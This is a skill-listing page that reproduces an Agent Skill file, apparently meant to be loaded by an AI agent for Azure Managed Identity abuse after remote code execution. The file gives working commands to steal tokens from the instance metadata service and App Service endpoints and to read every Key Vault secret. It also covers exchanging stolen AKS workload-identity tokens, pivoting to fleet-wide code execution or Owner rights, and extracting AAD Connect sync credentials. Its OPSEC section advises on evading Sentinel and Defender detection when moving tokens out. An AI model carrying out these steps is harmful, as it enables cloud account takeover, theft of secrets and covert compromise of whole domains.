OpenParable
Skip to content
← Back to skills

Azure Managed Identity

DevOps & Security
azure-managed-identity

Azure Managed Identity is an Agent Skill for devops & security published in the PurpleAILAB/Decepticon repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/azure-managed-identity, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

Azure Managed Identity Abuse

You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.

Steal the token

Linux VM / Container

TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

Windows VM

$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token

App Service / Function (different endpoint, requires IDENTITY_HEADER)

TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  | jq -r .access_token)

Common token audiences (resource param)

Audience URLUse
https://management.azure.com/ARM — list/modify Azure resources
https://graph.microsoft.com/Microsoft Graph — read directory, mail, groups
https://vault.azure.netKey Vault — secrets, keys, certificates
https://storage.azure.com/Storage account — blob/queue/file/table
https://database.windows.net/Azure SQL
https://servicebus.azure.net/Service Bus

Request one token per audience — the MI assignment determines which work.

Use the token

# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"

# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .

Pivot patterns

MI permissionPivot to
Contributor on subscriptionRunCommand on every VM in the sub → fleet-wide RCE
KeyVault Reader / Secrets UserDecrypt all stored credentials
User Access AdministratorSelf-grant Owner role anywhere
AAD App OwnerModify app registration → app-credential persistence
Storage Account ContributorSteal storage keys → SAS tokens (low audit signature)

Workload Identity (federated, no client secret)

AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:

SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)

AAD Connect MSOL (hybrid environments)

On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:

# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials      # AADInternals — extracts MSOL creds

OPSEC

  • Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
  • Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
  • IDENTITY_HEADER env on App Service is process-scope — exfil it from a single trick command, then reuse.
  • Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.

References

  • MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
  • ROADtools (Dirk-jan) — AAD enumeration without alerts
  • DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins